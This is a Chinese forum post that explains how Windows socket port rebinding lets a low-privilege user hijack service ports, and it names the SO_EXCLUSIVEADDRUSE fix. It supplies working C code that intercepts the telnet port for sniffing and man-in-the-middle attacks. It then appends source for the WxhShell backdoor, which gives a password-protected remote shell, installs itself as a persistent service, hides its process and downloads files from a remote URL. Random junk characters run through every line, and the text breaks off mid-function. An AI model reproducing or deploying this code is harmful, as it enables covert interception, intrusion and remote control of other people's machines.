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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >]{{5oOQ>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '=AqC,\#  
{CH5`&  
  saddr.sin_family = AF_INET; /1@py~ZX  
!NqLBrcv0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c r,fyAvX  
Qg6tJB   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xAwP  
t,NE`LC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tJe5`L  
-HwqR Y s  
  这意味着什么?意味着可以进行如下的攻击: -%fc)y&$  
+MR]h [  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hy&WG&qf  
6;C2^J@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N)X 3pWC8  
[n]C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Six2{b)p  
xs 1V?0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8Y"R@'~  
E]w2 {%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?_-5W9  
=W*Ro+wWb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rS>@>8k2,  
4 :phq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -M6#,Ji  
/+wCx#!  
  #include /9b+I/xY"  
  #include n  +v(t  
  #include "]T1DG"  
  #include    %y)]Q|  
  DWORD WINAPI ClientThread(LPVOID lpParam);    sWyx_  
  int main() F4NM q&_  
  { B/Js>R  
  WORD wVersionRequested; 7Y?59 [  
  DWORD ret; ZAJ~Tbm[f  
  WSADATA wsaData; kfY. 9$(d  
  BOOL val; V= g u'~  
  SOCKADDR_IN saddr; (}RTHpD  
  SOCKADDR_IN scaddr; dvE~EZcS  
  int err; 42f\]R,  
  SOCKET s; T O&^%d  
  SOCKET sc; QsX`IYk  
  int caddsize; M1z ?E@kz  
  HANDLE mt; :FUxe kz  
  DWORD tid;   Qo/pz2N  
  wVersionRequested = MAKEWORD( 2, 2 ); s .@Szq  
  err = WSAStartup( wVersionRequested, &wsaData ); qXprD.; }  
  if ( err != 0 ) { lFp:F5  
  printf("error!WSAStartup failed!\n"); XL/V>`E@  
  return -1; FwE<_hq//  
  } v4qpE!W27~  
  saddr.sin_family = AF_INET; :x,dYJm  
   C>Q|"Vf2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %H[~V f?d  
e/uLBZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Alv"D  
  saddr.sin_port = htons(23); 8UzF*gS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %x./>-[t  
  { +TW,!.NBG  
  printf("error!socket failed!\n"); tUksIUYD\  
  return -1; Cp?6vu|RA  
  } >u\'k +=  
  val = TRUE; \WqC^Di  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x"7PnN|~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !'C8sNs  
  { n5 <B*  
  printf("error!setsockopt failed!\n"); ! o?E.  
  return -1; 4d_Az'7`4  
  } Sim$:5P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R2==<"gq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dy~M5,zn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q>s`G  
4~AY: ib|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >uo=0=9=  
  { as73/J6  
  ret=GetLastError(); \=[38?QOY  
  printf("error!bind failed!\n"); Xyu0n p;@  
  return -1; (QdLz5\  
  } [s[!PlazX  
  listen(s,2); B1j^qoC.5  
  while(1) cm8co  
  { l*Q OM  
  caddsize = sizeof(scaddr); V`0Y p  
  //接受连接请求 9.:&u/e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B~E>=85z  
  if(sc!=INVALID_SOCKET) NxzAlu  
  { RWB]uHzE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dP<i/@21Wm  
  if(mt==NULL) =Qn8Y`U  
  { j*FpQiBoT  
  printf("Thread Creat Failed!\n"); i!G<sfL  
  break; hXD`OlX  
  } sZwa#CQKq  
  } Ld'3uM/  
  CloseHandle(mt); 6o^O%:0g  
  } v5I5tzt*%H  
  closesocket(s); )afH:  
  WSACleanup(); u= Ga}  
  return 0; 5k c?:U&  
  }   p m<K6I  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ t.E_K  
  { 4^*Z[6nt|  
  SOCKET ss = (SOCKET)lpParam; l$!Z};mw0E  
  SOCKET sc; M=fhRCUB  
  unsigned char buf[4096]; ('`mPD,  
  SOCKADDR_IN saddr; kaRjv   
  long num; *c( J4  
  DWORD val; W6)XMl}n  
  DWORD ret; x&N@R?AG1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gF]IAZCi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P@<K&S+f  
  saddr.sin_family = AF_INET; " ;o, D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ; m:I  
  saddr.sin_port = htons(23); PWV+ M@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iA4VT,  
  { 3W[Ps?G  
  printf("error!socket failed!\n"); 8SBa w'a  
  return -1; F)50 6  
  } SbobXTbG  
  val = 100; ?i\$U'2*z3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }5d|y*  
  { :2lM7|@/  
  ret = GetLastError(); Of  nN  
  return -1; m:g%5' qDZ  
  } zR%)@wh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9S?b &]  
  { e63io0g>  
  ret = GetLastError(); ioslarw1J  
  return -1; xw*/8.Md6f  
  } 0Rn`63#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "VeNc,-nfQ  
  { B~3qEdoK5`  
  printf("error!socket connect failed!\n"); r3YfY \  
  closesocket(sc); QaOF l` i  
  closesocket(ss); kqCUr|M.P  
  return -1; m.U&O=]5  
  } 5(DnE?}vo  
  while(1) rD>q/,X=\  
  { _z3^.QP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [5]* Be  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ct0%3]<J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  P!/:yWd  
  num = recv(ss,buf,4096,0); UFE~6"t(  
  if(num>0) ?osYs<k \  
  send(sc,buf,num,0); %"3tGi:/  
  else if(num==0) AVp"<Uv  
  break; ?o(Y\YJf  
  num = recv(sc,buf,4096,0); fM<g++X  
  if(num>0) MENrP5AL  
  send(ss,buf,num,0); zENo2#{_N  
  else if(num==0) "; ?^gA  
  break; XE|"n  
  } Z-i$KF  
  closesocket(ss); a]x\e{  
  closesocket(sc); D|8h^*Ya  
  return 0 ; cV* 0+5  
  } U}W7[f lc  
sv*xO7D.  
-<5H8P-  
========================================================== d`KW]HJw  
e)4L}a  
下边附上一个代码,,WXhSHELL =l$qwcfbo  
(<yQA. M  
========================================================== o&E2ds3  
t<qXXQ&5  
#include "stdafx.h" D]Gt=2\NG9  
7=4V1FS6i  
#include <stdio.h> 1<f,>BQ+  
#include <string.h> ;4(FS  
#include <windows.h> 28o!>*  
#include <winsock2.h> -GL-&^3IjH  
#include <winsvc.h> wk6tdY{&s  
#include <urlmon.h> zj'uKBDl  
o(5 ( ]bJ  
#pragma comment (lib, "Ws2_32.lib") Jz)c|8U  
#pragma comment (lib, "urlmon.lib") =A^VzIj(  
p:qj.ukw  
#define MAX_USER   100 // 最大客户端连接数 qC YXkZ%`  
#define BUF_SOCK   200 // sock buffer }!Xj{Eoc  
#define KEY_BUFF   255 // 输入 buffer +tFl  
B ? D|B  
#define REBOOT     0   // 重启 e@L7p,  
#define SHUTDOWN   1   // 关机 }MV=t7x9+  
 4K$d%  
#define DEF_PORT   5000 // 监听端口 p"/B3  
*mXs(u  
#define REG_LEN     16   // 注册表键长度 n&}ILLc  
#define SVC_LEN     80   // NT服务名长度 #)$@Kvm  
t>%J3S>'ZV  
// 从dll定义API 2;=xH t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <7sGA{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !4 G9`>n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Qw`F0t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sMAu*  
=ZN~*HLl}  
// wxhshell配置信息 L-(.v*  
struct WSCFG { fmq9u(!R  
  int ws_port;         // 监听端口 VBI~U?0  
  char ws_passstr[REG_LEN]; // 口令 b$'}IWNV  
  int ws_autoins;       // 安装标记, 1=yes 0=no a(`@u&]WZ  
  char ws_regname[REG_LEN]; // 注册表键名 i9k/X&V  
  char ws_svcname[REG_LEN]; // 服务名 mGqT_   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q/yL={H?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v/WvT!6V`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gd%E337d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~!W{C_*N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _8"%nV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v}\Nx[}  
?)B\0` %*'  
}; y2 ,M9  
GFBku^pi  
// default Wxhshell configuration Q#rj>+?  
struct WSCFG wscfg={DEF_PORT, B>M@'  
    "xuhuanlingzhe", Q{+&3KXH  
    1, <Xr {1M D  
    "Wxhshell", J.QFrIB{]+  
    "Wxhshell", DJf!{:b)  
            "WxhShell Service", 'rQ>Z A_8  
    "Wrsky Windows CmdShell Service", ')>&:~  
    "Please Input Your Password: ", cfd7)(6  
  1, NJraol  
  "http://www.wrsky.com/wxhshell.exe", &*N;yW""f  
  "Wxhshell.exe" [<M~6]  
    }; YCd[s[  
&I$MV5)u  
// 消息定义模块 ("B[P/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WD7IF+v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wc+)EX~KS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $kef_*BQg  
char *msg_ws_ext="\n\rExit."; kKqb:  
char *msg_ws_end="\n\rQuit."; Vyqj)1Z8>  
char *msg_ws_boot="\n\rReboot..."; F"<TV&xf  
char *msg_ws_poff="\n\rShutdown..."; &{c.JDO  
char *msg_ws_down="\n\rSave to "; A7qKY-4B  
.v{ok,&  
char *msg_ws_err="\n\rErr!"; i#Y[I"'  
char *msg_ws_ok="\n\rOK!"; mew,S)dq!  
@H^Yf  
char ExeFile[MAX_PATH]; <,!e*V*U  
int nUser = 0; AsW!GdIN  
HANDLE handles[MAX_USER]; TxD,A0  
int OsIsNt; ;NHZD  
T!*lTzNHm  
SERVICE_STATUS       serviceStatus; 6RLYpQ$+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S3iXG @  
?(4E le  
// 函数声明 /RzL,~]  
int Install(void); YxUC.2V|7$  
int Uninstall(void); x$;I E  
int DownloadFile(char *sURL, SOCKET wsh); z"n7du}v  
int Boot(int flag); O IMsxXF\J  
void HideProc(void); =x/Ap1  
int GetOsVer(void); O:Ixy?b;Z  
int Wxhshell(SOCKET wsl); OJGEX}3'  
void TalkWithClient(void *cs); D 1Q@4  g  
int CmdShell(SOCKET sock); TUQ+?[  
int StartFromService(void); ,MxTT!9Su  
int StartWxhshell(LPSTR lpCmdLine); NM;0@ o  
W h^9 Aq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5QjM,"`mp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |ZAR!u&0  
5DEK`#*  
// 数据结构和表定义 S}Q/CT?au  
SERVICE_TABLE_ENTRY DispatchTable[] = VM1`:1Z:$  
{ j<-#a^jb  
{wscfg.ws_svcname, NTServiceMain}, mu[:b  
{NULL, NULL} Qt@_C*,P  
}; +y$%S4>0tp  
.I"Qu:``  
// 自我安装 W'BB FG  
int Install(void) .m&JRzzV  
{  a9ko3L  
  char svExeFile[MAX_PATH]; ")t ^!x(v  
  HKEY key; NYoh6AR  
  strcpy(svExeFile,ExeFile); s^@?+<4:  
I$Bu6x!  
// 如果是win9x系统,修改注册表设为自启动 &?R2zfcM  
if(!OsIsNt) { .S l{m[nV8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \~]HfDu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z-fQ{&a{  
  RegCloseKey(key); *oC],4y~D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xV_,R'l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f.%mp$~T  
  RegCloseKey(key); <,r|*pkhp~  
  return 0; %MQU&H9[  
    } UbD1h_b  
  } =r3%jWH6  
} O]\6Pv@N  
else { GESEj%R/b  
6V"|  
// 如果是NT以上系统,安装为系统服务 3++}4%w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o"te7nBI  
if (schSCManager!=0) "%o,P/<X  
{ Ua>lf8w<  
  SC_HANDLE schService = CreateService &Hb;; Ic(  
  ( Nq`@ >Ml  
  schSCManager, eD4qh4|u.  
  wscfg.ws_svcname, B^;P:S<yG  
  wscfg.ws_svcdisp, G234UjN%  
  SERVICE_ALL_ACCESS, eDh]uKg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IMKyFp]h-  
  SERVICE_AUTO_START, _(K)(&  
  SERVICE_ERROR_NORMAL, Aj854 L(!  
  svExeFile, -VqZw&"  
  NULL, tai=2,'  
  NULL, g[Z$\A?ZbZ  
  NULL, #Sxk[[KwH*  
  NULL, cjf 8N:4N0  
  NULL .l| [e  
  ); 66P'87G  
  if (schService!=0) r\OunGUP  
  { WIe7>wkC  
  CloseServiceHandle(schService); e;+6U"Jx*  
  CloseServiceHandle(schSCManager); n9 LTrhLqp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :!SVpCt3  
  strcat(svExeFile,wscfg.ws_svcname); Wchu-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _GoV\wGKl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LH=gNFgzt  
  RegCloseKey(key); X"4 :#s  
  return 0; B-oQ 9[~  
    } fgiOYvIS2m  
  }  ZA u=m  
  CloseServiceHandle(schSCManager); DqfWu*  
} a'T8U1  
} `&\jOve   
7# ~v<M6  
return 1; 0rt@4"~~w  
} UlG8c~p  
C 2f=9n/  
// 自我卸载 qO;.{f  
int Uninstall(void) aC\O'KcH  
{ 9g7d:zG  
  HKEY key; BHVC&F*>  
eP d  
if(!OsIsNt) { e\0vphS6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DzfgPY_Py  
  RegDeleteValue(key,wscfg.ws_regname); YXJreM5  
  RegCloseKey(key); kPhdfF*Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Km ^>9  
  RegDeleteValue(key,wscfg.ws_regname); ~4 ~c+^PF  
  RegCloseKey(key); Ic 5TtN~/>  
  return 0; !2.(iuE  
  } mH1T|UI  
} N\,[(LbA&  
} }McqoZ%F  
else { : 3J0Q  
~XzT~WxW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;PS V3Zh  
if (schSCManager!=0) $?_/`S13  
{ rr@h9bak;g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I_1(jaY  
  if (schService!=0) I7@|{L1|FB  
  { Qm-I=Rh+  
  if(DeleteService(schService)!=0) { FAkrM?0/  
  CloseServiceHandle(schService); / [s TN.MG  
  CloseServiceHandle(schSCManager); Y FJw<5&  
  return 0; Uuxx^>"h\  
  } VjI=5)+~  
  CloseServiceHandle(schService); Su]@~^w  
  } sf([8YUd  
  CloseServiceHandle(schSCManager); N)I9NM[  
} 6'{/Ote  
} D*%?0  
*1H8 &  
return 1; Ulf'gD4e  
} `D%U5Jb  
3X;k c>  
// 从指定url下载文件  !^yH]v  
int DownloadFile(char *sURL, SOCKET wsh) <y S|\Z|  
{ wtl3Ex,DO  
  HRESULT hr; =JkPE2mU  
char seps[]= "/"; diz=|g=w  
char *token; 8l1s]K qr  
char *file; 1fK]A*{p  
char myURL[MAX_PATH]; 43VBx<"  
char myFILE[MAX_PATH]; NJNS8\4  
@A5'vf|2;.  
strcpy(myURL,sURL); _VUG!?_D$5  
  token=strtok(myURL,seps); ){nOM$W  
  while(token!=NULL) ^xyU *A}D  
  { tx*L8'jlN  
    file=token; mn].8 F  
  token=strtok(NULL,seps); -wsoJh  
  } 7C&J88|\  
o7r7HmA@  
GetCurrentDirectory(MAX_PATH,myFILE); i_c'E;|  
strcat(myFILE, "\\"); khc1<BBsT  
strcat(myFILE, file); n5DS  
  send(wsh,myFILE,strlen(myFILE),0); fN_qJm#:$y  
send(wsh,"...",3,0); P=[_W;->}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7es<%H  
  if(hr==S_OK) 6~!QibA|P  
return 0; S8j!?$`  
else C09rgEB\B  
return 1; {;L,|(o^  
^ Fnag]qQ  
} Ka_g3  
^Q\Hy\  
// 系统电源模块 gkM Q=;Nn  
int Boot(int flag) $} @gR] Z  
{ )ZW[$:wA  
  HANDLE hToken; \ xJ_ )r  
  TOKEN_PRIVILEGES tkp; j* ZU}Ss  
yPd6{% w  
  if(OsIsNt) { 8FIk|p|l^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &RHZ7T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '8yCwk  
    tkp.PrivilegeCount = 1; _UA|0a!-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 Aj<k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i91 =h   
if(flag==REBOOT) { ~m'8<B5+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O**~ Tj  
  return 0; *mJ\Tzc)  
} 64L;np>  
else { f<{f/lU@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2oF1do;  
  return 0; Dr)jB*yK  
} .OpG2P  
  } .iC!Ttr  
  else { N/!(`Z,  
if(flag==REBOOT) { ]$,3vYBf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oF~+L3&X  
  return 0; i5,yrPF  
} #Dea$  
else { fm^J-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B'e@RhU;  
  return 0; 9sN#l  
} ;:,U]@  
} ? Rk[P cX<  
uznYLS  
return 1; 8B(=Y;w  
} ?Dl;DE1  
1u8hnG  
// win9x进程隐藏模块 +MqJJuWB  
void HideProc(void) Hz"FGwd  
{ 'T|EwrS j  
!Ln 'Mi_B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hD[r6c  
  if ( hKernel != NULL ) AHo}K\O?r  
  { (;;.[4,y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zsLMROo3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9X&=?+f  
    FreeLibrary(hKernel); kWacc&*|  
  } bzr QQQ  
]8htL#C  
return; kTcW=AXu  
} |[0Ijm2  
[1Aoj|  
// 获取操作系统版本 T/.UMw  
int GetOsVer(void) O ^!Bc}$  
{ 0 @um  
  OSVERSIONINFO winfo; !9{hbmF#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &lgzNC9g%  
  GetVersionEx(&winfo); }U(bMo@;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *b_Iby-ZD  
  return 1; }4T`)  
  else 3B='f"G  
  return 0; ))dw[Xa  
} 1G6 \}El95  
C+t0Zen  
// 客户端句柄模块 D~bx'Wr+  
int Wxhshell(SOCKET wsl) ,c-*/{3  
{ pss e^rFg  
  SOCKET wsh; J(K/z,4h  
  struct sockaddr_in client; \*&?o51 !e  
  DWORD myID; $)  M2  
6<9}>Wkf  
  while(nUser<MAX_USER) <5"&]! .  
{  ^We}i  
  int nSize=sizeof(client); +_{cq@c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { P,hH~!  
  if(wsh==INVALID_SOCKET) return 1; %gQUog  
cs7^#/3<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2$MoKO x8$  
if(handles[nUser]==0) bIlNA)g  
  closesocket(wsh); &uF~t |!c  
else B9Mp3[   
  nUser++; Y<jX[ET!  
  } =''WA:,=h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ir-QD !!<  
@lX%Fix9  
  return 0; Td|u-9OM  
} Rc3!u^?u  
4x}U+1B  
// 关闭 socket cIQbu#[@  
void CloseIt(SOCKET wsh) +0)M1!gK  
{ 9Zj3"v+b  
closesocket(wsh); }& W=  
nUser--; 5]up%.  
ExitThread(0); 7W*a+^   
} XjCx`bX^<  
:?j=MV  
// 客户端请求句柄 :nR80]  
void TalkWithClient(void *cs) }K@m4`T  
{ b`$qKO  
B'Jf&v  
  SOCKET wsh=(SOCKET)cs; 4:S]n19nq  
  char pwd[SVC_LEN]; &ds+9A  
  char cmd[KEY_BUFF]; 0g6sGz=  
char chr[1]; OjAdY\ ]1  
int i,j; n.qT7d(  
IU5T5p  
  while (nUser < MAX_USER) { Yi,`uJKh  
w;{Q)_A  
if(wscfg.ws_passstr) { OF={k[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M 87CP=yc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?hGE[.(eh]  
  //ZeroMemory(pwd,KEY_BUFF); N Uv Vhy]{  
      i=0; #rF`Hk:  
  while(i<SVC_LEN) { _WvVF*Q"k  
M)!"R [V  
  // 设置超时 $./aK J1B  
  fd_set FdRead; [|YvVA  
  struct timeval TimeOut; : .-z!  
  FD_ZERO(&FdRead); vK@U K"m  
  FD_SET(wsh,&FdRead); NiWAJ]Z  
  TimeOut.tv_sec=8; zwU[!i)  
  TimeOut.tv_usec=0; T9%|B9FeJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $'>JG9M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |U;O HS  
99`w'Nlk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {d*OJ/4  
  pwd=chr[0]; _Y ;tD  
  if(chr[0]==0xd || chr[0]==0xa) { Ihf)gfHj  
  pwd=0; j'U1lEZm2  
  break; {|hg3R~A  
  } ~##FW|N)  
  i++; qEXN} Pq<  
    } q4Wr$T$gs=  
M_Ag *?2I  
  // 如果是非法用户,关闭 socket uV_%&P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $pAJ$0=sw  
} FG[rH]   
lct  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YC8IwyL'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1P[x.t#  
+B1&bOb  
while(1) { d4BzFGsW  
B~ i  
  ZeroMemory(cmd,KEY_BUFF); ]vB\yQE  
D-LOjMe  
      // 自动支持客户端 telnet标准   y]+5Y.Cw$  
  j=0; k9OGnCW\  
  while(j<KEY_BUFF) { "FA. T7G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >h\u[I$7  
  cmd[j]=chr[0]; Lo_+W1+  
  if(chr[0]==0xa || chr[0]==0xd) { fn,hP_  
  cmd[j]=0; C 'MR=/sd  
  break; \Z3K ~  
  } d8vf kV B  
  j++; eK l; T  
    } aIFlNS,y  
ih/E,B"  
  // 下载文件 / @"{u0  
  if(strstr(cmd,"http://")) { pXl[I;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &l7E|.JE  
  if(DownloadFile(cmd,wsh)) 0y,w\'j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 | ,b  
  else KzO"$+M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YwET.(oo  
  } H}5WglV.  
  else { vE'{?C=EM  
M Zz21H  
    switch(cmd[0]) { YIg43Av  
  z8ZQL.z%h  
  // 帮助 PBb&.<   
  case '?': { 9/29>K_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PjEJ C@n  
    break; 1J"9Y81   
  } g ass Od  
  // 安装 b{ xlW }S  
  case 'i': { s+lBai*#  
    if(Install()) O7VEyQqf5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W6i{ yne W  
    else )S%t) }  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .7^(~&5N  
    break; ]<f(@]R/d  
    } C$6FI `J  
  // 卸载 H( i   
  case 'r': { dREY m}1  
    if(Uninstall()) 3r kcIVO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sd\p[MXX  
    else q/U-6A[0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jW`JThoq  
    break; 4($"4>BA  
    } n_km]~  
  // 显示 wxhshell 所在路径 ? /z[Jx.  
  case 'p': { vHpw?(]  
    char svExeFile[MAX_PATH]; (?\+  
    strcpy(svExeFile,"\n\r"); 5\bGCf  
      strcat(svExeFile,ExeFile); j0mN4Ny  
        send(wsh,svExeFile,strlen(svExeFile),0); i)|jLrW~e  
    break; R*D<M3  
    } }l7+W4~  
  // 重启 rl%,9JD!  
  case 'b': { @!f4>iUy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vz/w.%_g  
    if(Boot(REBOOT)) WsV"`ij#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~O3KG q  
    else { 6I@j$edZ  
    closesocket(wsh); 2r!ltG3}  
    ExitThread(0); v{a%TA9-  
    } %DKFF4k  
    break; &[-(=43@  
    } +`Z1L\gmA  
  // 关机 yKV{V?h?  
  case 'd': { fx_#3=bXi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !g]5y=  
    if(Boot(SHUTDOWN)) ( *+'k1Ea  
